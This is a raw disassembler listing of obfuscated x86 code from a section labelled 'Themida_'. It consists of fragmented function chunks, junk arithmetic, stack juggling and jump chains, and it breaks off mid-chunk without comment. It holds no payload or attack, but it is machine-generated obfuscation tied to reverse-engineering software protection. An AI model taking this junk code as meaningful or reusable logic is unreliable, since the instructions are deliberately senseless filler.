; START OF FUNCTION CHUNK FOR sub_585350
loc_58D0E6: ; CODE XREF: sub_585350+Aj
mov [esp+0Ch+var_C], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], ecx
mov ch, dl
mov al, ch
pop ecx
sub esp, 4
mov [esp+8+var_8], ecx
mov ch, al
jmp loc_5864A6
; END OF FUNCTION CHUNK FOR sub_585350
; ---------------------------------------------------------------------------
loc_58D10D: ; CODE XREF: Themida_:0058494Bj
push ebp
mov ebp, 71D34EE2h
xor ebp, 38B44699h
or ebp, 15EA4522h
shr ebp, 4
or ebp, 39E866D4h
jmp loc_586754
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D12D: ; CODE XREF: sub_585452+20E3j
add bl, 0B9h
push [esp+4+var_4]
jmp loc_586C8B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D138: ; CODE XREF: Themida_:0058E47Cj
add edx, 2DD499Fh
mov eax, edx
pop edx
add edx, 0EA199Ah
sub edx, eax
sub edx, 0EA199Ah
pop eax
add edx, eax
push esi
push 11DB55FDh
mov esi, [esp]
add esp, 4
jmp loc_585EB9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D166: ; CODE XREF: sub_585452+6EA3j
add esi, ebx
push dword ptr [esp+0]
jmp loc_584E03
; ---------------------------------------------------------------------------
loc_58D170: ; CODE XREF: sub_585452+5B55j
mov edi, esp
add edi, 4
jmp loc_5892FF
; ---------------------------------------------------------------------------
loc_58D17D: ; CODE XREF: sub_585452+1BEFj
pop ebx
push ebx
jmp loc_58E1E4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D184: ; CODE XREF: Themida_:00586699j
mov ebx, edx
pop edx
neg ebx
shr ebx, 8
xor ebx, 0D421AEh
sub edi, 400362DBh
jmp loc_589A4B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D19D: ; CODE XREF: sub_585452+13DDj
push eax
not [esp+4Ah+var_4C+2]
pop eax
xchg eax, [esp+46h+var_48+2]
pop ebp
push esi
mov esi, 35404EC5h
jmp loc_58D79F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D1B1: ; CODE XREF: Themida_:0058BB44j
pop ecx
sub ebp, 4
jmp loc_5844CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D1BD: ; CODE XREF: sub_585452+5242j
mov ebp, 27CB1295h
shr ebp, 8
sub ebp, 0F8ECAD4Bh
add edx, ebp
pop ebp
jmp loc_588BE4
; ---------------------------------------------------------------------------
loc_58D1D3: ; CODE XREF: sub_585452+58E2j
add esp, 4
push edi
mov edi, 2
add ebx, edi
mov edi, [esp-16h+arg_12]
add esp, 4
xor ebx, [esp-1Ah+arg_16]
xor [esp-1Ah+arg_16], ebx
xor ebx, [esp-1Ah+arg_16]
mov esp, [esp-1Ah+arg_16]
jmp loc_58B3CC
; ---------------------------------------------------------------------------
loc_58D1F8: ; CODE XREF: sub_585452+7C74j
mov bh, 35h
shl bh, 2
shl bh, 7
sub bh, 25h
and bh, 6Fh
sub bh, 0D8h
add ch, bh
pop ebx
push 6FFFh
jmp loc_586EBD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D216: ; CODE XREF: Themida_:0058F242j
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_58D59A
; ---------------------------------------------------------------------------
loc_58D22E: ; CODE XREF: Themida_:00589465j
add edi, 1CD7FE1h
add edi, ecx
sub edi, 1CD7FE1h
pop ecx
dec edi
not edi
shl edi, 8
shr edi, 2
or edi, 77B85A81h
jmp loc_58EE09
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D251: ; CODE XREF: sub_585452+1EA9j
mov eax, [esp+2+var_4+2]
add esp, 4
or ebp, 27EE0FC3h
xor ebp, 7FEF3FFBh
add ecx, ebp
pop ebp
xchg ecx, [esp-6+arg_0+2]
mov esp, [esp-6+arg_0+2]
push 3692h
mov [esp+0], ebx
push 80h
pop ebx
and ecx, ebx
push dword ptr [esp+0]
push [esp+2+var_4+2]
pop ebx
jmp loc_58D7FE
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58D28B proc near ; CODE XREF: sub_585452+933j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0058432B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058A395 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058EAE4 SIZE 00000012 BYTES
push ebx
mov ebx, 0CEA01FEDh
add ecx, ebx
pop ebx
sub ebx, ecx
pop ecx
mov eax, [esp+0]
jmp loc_58432B
sub_58D28B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5756
loc_58D29F: ; CODE XREF: sub_5B5756-315C9j
mov ch, dl
pop edx
jmp sub_585452
; END OF FUNCTION CHUNK FOR sub_5B5756
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D2A7: ; CODE XREF: sub_585452+6DC2j
push eax
mov al, 0ECh
sub al, 1
sub al, 0FFh
push ebx
jmp loc_587942
; ---------------------------------------------------------------------------
loc_58D2B4: ; CODE XREF: sub_585452+A073j
xor ebp, esi
jmp loc_58B200
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589972
loc_58D2BB: ; CODE XREF: sub_589972+140Fj
add ebx, 12FFB7CAh
push ebx
pop eax
pop ebx
sub edx, 367C0B7Fh
sub edx, eax
add edx, 367C0B7Fh
jmp loc_58BD19
; END OF FUNCTION CHUNK FOR sub_589972
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D2D7: ; CODE XREF: sub_585452+1E43j
sub eax, 12DD7693h
jmp loc_585671
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_583D6F
loc_58D2E1: ; CODE XREF: sub_583D6F+7B3Bj
sub edx, 65964C9Fh
add edx, eax
push esi
mov esi, 33DB4B65h
and esi, 283551DBh
jmp loc_586374
; END OF FUNCTION CHUNK FOR sub_583D6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D2FA: ; CODE XREF: sub_585452+3A3Bj
pop eax
and eax, edi
pop edi
or eax, eax
jz sub_58EFBD
sub esp, 4
mov [esp+2+var_4+2], esi
jmp loc_586EB7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_58D311: ; CODE XREF: sub_58CCD7-2088j
inc ecx
sub ecx, 3A5E198Ah
jmp loc_58D39A
; END OF FUNCTION CHUNK FOR sub_58CCD7
; ---------------------------------------------------------------------------
loc_58D31D: ; CODE XREF: Themida_:0058C520j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_58A0EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D32B: ; CODE XREF: sub_585452+5EABj
shr eax, 0Ah
jmp loc_584FB1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58D333: ; CODE XREF: sub_58C230+1747j
rep movsd
add esp, [edx+38h]
push 398h
mov [esp+0Ch+var_C], edi
mov edi, 1A0803C4h
sub edi, 1
push ebp
jmp loc_588D38
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_58D351: ; CODE XREF: Themida_:005894B1j
sub eax, 2054C0Eh
mov ebp, [esp]
add esp, 4
jmp loc_58B9EE
; ---------------------------------------------------------------------------
loc_58D361: ; CODE XREF: Themida_:0058D395j
mov [esp], edx
push esp
mov edx, [esp]
push edx
mov edx, esp
jmp loc_58D9CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58D370: ; CODE XREF: sub_58C230-3051j
mov [esp-0Ch+arg_8], ebp
jmp loc_58C8A4
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D378: ; CODE XREF: sub_585452+3EB0j
xor edi, [esp+0Ah+var_C+2]
xor [esp+0Ah+var_C+2], edi
jmp loc_58A902
; ---------------------------------------------------------------------------
loc_58D383: ; CODE XREF: sub_585452+324Dj
add esp, 4
jmp loc_58F4CA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
jmp loc_58D361
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_58D39A: ; CODE XREF: sub_58CCD7+641j
push eax
push ebx
jmp loc_58B22C
; END OF FUNCTION CHUNK FOR sub_58CCD7
; ---------------------------------------------------------------------------
loc_58D3A1: ; CODE XREF: Themida_:005884D1j
push ecx
mov ecx, 79D85380h
jmp loc_58E86E
; ---------------------------------------------------------------------------
loc_58D3AC: ; CODE XREF: Themida_:00585F7Bj
push ebx
mov ebx, 4
jmp loc_58E39B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D3B7: ; CODE XREF: sub_585452+4868j
add esp, 4
mov eax, [esp-1Ah+arg_16]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp-16h+arg_12]
pop esp
and eax, edx
push [esp-1Ah+arg_16]
pop edx
add esp, 4
or edx, eax
shl edx, 1
push ecx
push 24h
pop ecx
add ecx, edi
sub esp, 4
mov [esp-16h+arg_12], ebx
jmp loc_584CFB
; ---------------------------------------------------------------------------
loc_58D3F7: ; CODE XREF: sub_585452+F39j
mov cl, 0ADh
dec cl
jmp loc_58DC23
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D400: ; CODE XREF: Themida_:0058B97Fj
pop dx
add al, 0ECh
jmp loc_58CCAA
; ---------------------------------------------------------------------------
loc_58D409: ; CODE XREF: Themida_:00587863j
sub ebx, 5DF57579h
mov edx, ebx
pop ebx
jmp loc_58EFF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D417: ; CODE XREF: sub_585452+92F8j
mov [esp-24h+arg_1E+2], esi
mov esi, ebx
jmp loc_58AE24
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D421: ; CODE XREF: Themida_:00583CEAj
add ebp, 676E0399h
add ebp, ebx
sub ebp, 676E0399h
pop ebx
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_585A5C
; ---------------------------------------------------------------------------
loc_58D43D: ; CODE XREF: Themida_:00587E6Fj
mov dl, bl
jmp loc_58ECDB
; ---------------------------------------------------------------------------
loc_58D444: ; CODE XREF: Themida_:0058CB46j
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_58966D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D450: ; CODE XREF: sub_585452+3F90j
sub esi, ebp
jmp loc_58EC48
; ---------------------------------------------------------------------------
loc_58D457: ; CODE XREF: sub_585452+83EAj
add edx, 29AE50BBh
pop ebp
xor edx, [esp-28h+arg_24]
xor [esp-28h+arg_24], edx
xor edx, [esp-28h+arg_24]
pop esp
movsx ecx, ax
push 5402h
mov [esp-28h+arg_24], ecx
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D478: ; CODE XREF: Themida_:00583EAEj
mov ah, bh
mov dh, ah
pop eax
pop ebx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
add al, 82h
add al, dh
sub al, 82h
pop dx
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58D4A2: ; CODE XREF: sub_58FA66-ACB8j
pop eax
add ecx, esi
jmp loc_585263
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58D4AA: ; CODE XREF: Themida_:0058487Dj
pop eax
jmp loc_586E59
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58D4B0: ; CODE XREF: sub_58999B+59A4j
mov dx, word ptr [esp+8+var_A+2]
push edi
mov edi, esp
add edi, 4
add edi, 2
jmp loc_58DF20
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
loc_58D4C5: ; CODE XREF: Themida_:0058CD4Cj
mov ebx, ecx
pop ecx
not ebx
add ebx, 232B3514h
jmp loc_584598
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_58D4D5: ; CODE XREF: sub_58F728-44B0j
add ecx, ebp
pop ebp
xchg ecx, [esp-8+arg_4]
jmp loc_58B3A4
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58905F
loc_58D4E0: ; CODE XREF: sub_58905F+68BFj
xor esi, ebp
jmp loc_585B00
; END OF FUNCTION CHUNK FOR sub_58905F
; ---------------------------------------------------------------------------
loc_58D4E7: ; CODE XREF: Themida_:0058E5FCj
xchg edi, [esp]
jmp loc_587483
; ---------------------------------------------------------------------------
loc_58D4EF: ; CODE XREF: Themida_:00589E7Cj
neg ebp
sub ebp, 82522408h
add eax, ebp
jmp loc_588F09
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58D4FE: ; CODE XREF: sub_589967-25FCj
mov ebx, 1E4E5FACh
or ebx, 191521B0h
jmp loc_588744
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_58D50E: ; CODE XREF: Themida_:0058E2B9j
mov [esp], esi
mov esi, 5CEF6D82h
jmp loc_58ACB6
; ---------------------------------------------------------------------------
loc_58D51B: ; CODE XREF: Themida_:00587E01j
mov ecx, esp
jmp loc_587FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58D522: ; CODE XREF: sub_58C230-44E7j
mov [esp-4+arg_0], eax
push esp
push dword ptr [esp+0]
pop eax
push edi
mov edi, esp
jmp loc_58F2A6
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586A34
loc_58D532: ; CODE XREF: sub_586A34+7098j
dec ebx
dec ebx
push eax
jmp loc_58C03C
; END OF FUNCTION CHUNK FOR sub_586A34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D53A: ; CODE XREF: sub_585452+769Ej
pop esp
push ebx
jmp loc_58F18D
; ---------------------------------------------------------------------------
loc_58D541: ; CODE XREF: sub_585452+C29j
push eax
mov eax, 12BB2D77h
mov ebx, 53140066h
xor ebx, eax
pop eax
inc ebx
jmp loc_58F885
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D555: ; CODE XREF: Themida_:0058776Aj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5854D5
; ---------------------------------------------------------------------------
loc_58D569: ; CODE XREF: Themida_:0058A607j
push eax
mov eax, 2B3960BCh
add edi, eax
pop eax
sub edi, 9B26D408h
mov eax, edi
jmp loc_58943A
; ---------------------------------------------------------------------------
loc_58D57F: ; CODE XREF: Themida_:0058F9EEj
not dh
jmp loc_58D901
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_58D586: ; CODE XREF: sub_58960C-1BAEj
sub ecx, 11D3619h
add ecx, edx
push edi
jmp loc_58A975
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D594: ; CODE XREF: sub_585452+4F5j
push edi
jmp loc_58C15A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D59A: ; CODE XREF: Themida_:0058D229j
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edx
add esp, 4
add edx, 4
jmp loc_587EAC
; ---------------------------------------------------------------------------
loc_58D5C2: ; CODE XREF: Themida_:005868A6j
mov [esp], ecx
mov ecx, 4
add edx, ecx
pop ecx
xchg edx, [esp]
mov esp, [esp]
jmp loc_58E928
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D5D8: ; CODE XREF: sub_585452+96Dj
inc ebx
add ebx, 55D953A7h
jmp loc_5880B2
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D5E4: ; CODE XREF: Themida_:00588C3Fj
xor edi, 4421321Eh
add ebx, edi
pop edi
push edi
mov edi, 2
jmp loc_585C0B
; ---------------------------------------------------------------------------
loc_58D5F8: ; CODE XREF: Themida_:00584859j
mov [esp], edi
push esp
pop edi
jmp loc_58C7E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D602: ; CODE XREF: sub_585452+362Cj
mov [esp+0], ebx
push esp
pop ebx
add ebx, 4
push edx
mov edx, 4
sub ebx, edx
pop edx
jmp sub_587B94
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D61B: ; CODE XREF: Themida_:00589786j
sub ebx, 2D066h
add edi, 7ABF52E0h
add edi, 4ADF3BE4h
sub edi, 795508A2h
jmp loc_584470
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D638: ; CODE XREF: sub_585452+389j
sub eax, ecx
pop ecx
push 7FB2h
mov [esp+36h+var_38+2], edi
mov edi, 1A376A0Ah
add eax, edi
push [esp+36h+var_38+2]
jmp loc_585B5D
; ---------------------------------------------------------------------------
loc_58D652: ; CODE XREF: sub_585452+69FFj
xor [esp-4+arg_0], ebp
jmp loc_58C5EE
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D65A: ; CODE XREF: Themida_:0058D84Fj
shl ecx, 3
add ecx, 92CABD62h
push ecx
add dword ptr [esp], 0A241F24h
pop ebp
push ebx
jmp loc_58AB48
; ---------------------------------------------------------------------------
loc_58D672: ; CODE XREF: Themida_:00584384j
mov eax, 2FE86EBBh
xor [esp+4], eax
pop eax
push dword ptr [esp]
pop eax
jmp loc_588686
; ---------------------------------------------------------------------------
loc_58D685: ; CODE XREF: Themida_:0058505Dj
add ebp, 29795121h
mov ecx, [esp]
add esp, 4
add ebp, 2
xchg ebp, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D7D9
loc_58D6AB: ; CODE XREF: sub_58D7D9-3AEBj
add ebp, esi
pop esi
push ebp
push [esp+8+var_4]
pop ebp
jmp loc_586D60
; END OF FUNCTION CHUNK FOR sub_58D7D9
; ---------------------------------------------------------------------------
loc_58D6B9: ; CODE XREF: Themida_:005844EAj
mov bh, dl
pop edx
sub al, bh
mov bx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 2
jmp loc_58A6C0
; ---------------------------------------------------------------------------
loc_58D6D3: ; CODE XREF: Themida_:0058EB8Ej
xchg esi, [esp]
pop esp
push 7AADh
mov [esp], esi
jmp loc_58F034
; ---------------------------------------------------------------------------
loc_58D6E4: ; CODE XREF: Themida_:0058E541j
mov ebx, 4
add [esp+4], ebx
pop ebx
jmp loc_586D08
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D6F3: ; CODE XREF: sub_585452+53A9j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp-8+arg_4]
pop esp
jmp loc_5886BB
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5886E0
loc_58D70A: ; CODE XREF: sub_5886E0+15FCj
pop esi
shr ebp, 2
jmp loc_58988F
; END OF FUNCTION CHUNK FOR sub_5886E0
; ---------------------------------------------------------------------------
loc_58D713: ; CODE XREF: Themida_:0058DE90j
add edi, 4
jmp loc_587D7C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D71E: ; CODE XREF: sub_585452+6301j
sub esi, 318B5F4Bh
mov ebx, esi
push [esp-0Ch+arg_8]
jmp loc_584427
; ---------------------------------------------------------------------------
loc_58D72E: ; CODE XREF: sub_585452+6428j
xchg esi, [esp+2+var_4+2]
jmp loc_588A34
; ---------------------------------------------------------------------------
loc_58D736: ; CODE XREF: sub_585452+189Ej
xor edx, 33131C07h
dec edx
jmp loc_58E065
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D742: ; CODE XREF: Themida_:0058C7C9j
xchg ebp, [esp]
pop esp
xor [esp+4], ebp
pop ebp
pop ecx
push edx
push ebx
push 2262565Ch
jmp loc_58C91A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CABE
loc_58D758: ; CODE XREF: sub_58CABE+17j
add esp, 4
add edi, 35C35490h
jmp loc_58ED03
; END OF FUNCTION CHUNK FOR sub_58CABE
; ---------------------------------------------------------------------------
loc_58D769: ; CODE XREF: Themida_:005873ABj
not eax
shl eax, 1
push edx
push 2B6226F9h
pop edx
or edx, 5F052BE6h
xor edx, 3A79678Eh
push ecx
jmp loc_587CE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D786: ; CODE XREF: sub_585452+94A0j
bt word ptr [esp+0Eh+var_10+2], ax
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D791: ; CODE XREF: Themida_:00585F5Aj
mov ecx, 4
add ebp, ecx
pop ecx
push ebx
jmp loc_5871A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D79F: ; CODE XREF: sub_585452+7D5Aj
sub ebp, esi
pop esi
jmp loc_58DB01
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D7A7: ; CODE XREF: Themida_:0058C55Bj
add dword ptr [esp], 4
pop esi
add esi, 4
add esi, 2
xchg esi, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D7C7: ; CODE XREF: sub_585452+3E41j
pop eax
add esp, 4
push dword ptr [edx]
pop ecx
pop edx
push 4670h
jmp loc_58EE68
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58D7D9 proc near ; CODE XREF: sub_585019+1275j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00585E80 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00586D60 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005877E3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00589CE1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058B666 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D6AB SIZE 0000000E BYTES
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, esp
jmp loc_58B666
sub_58D7D9 endp
; ---------------------------------------------------------------------------
loc_58D7E6: ; CODE XREF: Themida_:0058ED71j
push edi
mov edi, esp
add edi, 4
push edx
sub esp, 4
mov [esp], ecx
jmp loc_58594C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D7FE: ; CODE XREF: sub_585452+7E34j
push ecx
mov ecx, esp
add ecx, 4
push ebp
push 4
pop ebp
add ecx, ebp
pop ebp
push ecx
push [esp+0Ah+var_8+2]
jmp loc_589A59
; ---------------------------------------------------------------------------
loc_58D81B: ; CODE XREF: sub_585452+354j
mov ebp, 0EFADC381h
add ebp, eax
mov eax, [esp+36h+var_38+2]
add esp, 4
sub edx, 29AE50BBh
add edx, 3BC2729Ch
add edx, ebp
sub edx, 3BC2729Ch
jmp loc_58D457
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D841: ; CODE XREF: Themida_:0058CD74j
push 3D7832BDh
mov ecx, [esp]
add esp, 4
jmp loc_58D65A
; ---------------------------------------------------------------------------
loc_58D854: ; CODE XREF: Themida_:0058AAFDj
and edx, 283E38D1h
jmp loc_58898C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D85F: ; CODE XREF: sub_585452+A145j
neg ecx
shr ecx, 2
jmp loc_589321
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D869: ; CODE XREF: Themida_:005898EDj
mov [esp], edi
push ecx
push 12CD42B7h
pop ecx
neg ecx
neg ecx
jmp loc_583C58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D87C: ; CODE XREF: sub_585452-F0Cj
xchg eax, [esp-14h+arg_E+2]
mov esp, [esp-14h+arg_E+2]
shr eax, 0Ch
xor eax, ecx
jmp loc_58C0B8
; ---------------------------------------------------------------------------
loc_58D88C: ; CODE XREF: sub_585452-147Ej
push edi
jmp loc_58449E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D892: ; CODE XREF: Themida_:00583F1Ej
add eax, ebx
push ebx
jmp loc_585531
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A5A3
loc_58D89A: ; CODE XREF: sub_58A5A3+215Ej
pop ecx
pop esi
add esi, 4
add esi, 4
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
mov esp, [esp+0]
div ecx
sub esp, 4
jmp loc_585078
; END OF FUNCTION CHUNK FOR sub_58A5A3
; ---------------------------------------------------------------------------
loc_58D8BE: ; CODE XREF: Themida_:0058539Cj
xor ebp, [esp]
jmp loc_58E3D4
; ---------------------------------------------------------------------------
loc_58D8C6: ; CODE XREF: Themida_:0058AA9Cj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
sar word ptr [esp], cl
pushf
jmp loc_5895E1
; ---------------------------------------------------------------------------
loc_58D8DC: ; CODE XREF: Themida_:0058CE6Aj
xchg edx, [esp]
pop esp
push ecx
mov cl, al
mov [edi+38h], cl
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5857CC
; ---------------------------------------------------------------------------
loc_58D901: ; CODE XREF: Themida_:0058D581j
and dh, 25h
sub dh, 25h
jmp loc_584A2E
; ---------------------------------------------------------------------------
loc_58D90C: ; CODE XREF: Themida_:00589ACFj
shl ebp, 8
add ebp, 0DFE236Bh
xor ebp, 1A2F076Eh
add ebx, ebp
pop ebp
pop dword ptr [eax]
jmp loc_58B8E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D925: ; CODE XREF: sub_585452+3452j
push esi
push eax
push 12885EC6h
pop eax
or eax, 565D481Ch
shr eax, 7
jmp loc_58AEAE
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58D93A: ; CODE XREF: sub_58999B-12EBj
add ecx, 4
xchg ecx, [esp-0Ch+arg_8]
pop esp
sub esp, 4
jmp loc_58CF02
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D94C: ; CODE XREF: sub_585452+97DCj
sub ebp, edi
pop edi
jmp loc_584441
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58D954: ; CODE XREF: sub_58C230-82BBj
push esp
mov edi, [esp+4+var_4]
add esp, 4
push eax
mov eax, 8B07B56h
dec eax
add eax, 0F74F84AFh
add edi, eax
pop eax
add edi, 4
xchg edi, [esp+0]
pop esp
jmp loc_58D333
; END OF FUNCTION CHUNK FOR sub_58C230
; =============== S U B R O U T I N E =======================================
sub_58D97C proc near ; CODE XREF: sub_58AB18+7B9j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00584795 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058A231 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DBA1 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058DC03 SIZE 00000018 BYTES
sub esp, 4
mov [esp+4+var_4], eax
push dword ptr [esp+4]
jmp loc_58DBA1
sub_58D97C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D98B: ; CODE XREF: sub_585452-8DDj
pop esp
add edx, 59CA1B27h
add edx, eax
sub esp, 4
mov [esp-14h+arg_E+2], eax
sub esp, 4
mov [esp+0], ebx
push edx
jmp sub_589972
; ---------------------------------------------------------------------------
loc_58D9A6: ; CODE XREF: sub_585452-16F3j
mov esp, [esp-8+arg_4]
jmp loc_587449
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_58D9AE: ; CODE XREF: sub_58AB18-2D1Dj
not esi
sub esi, 17558845h
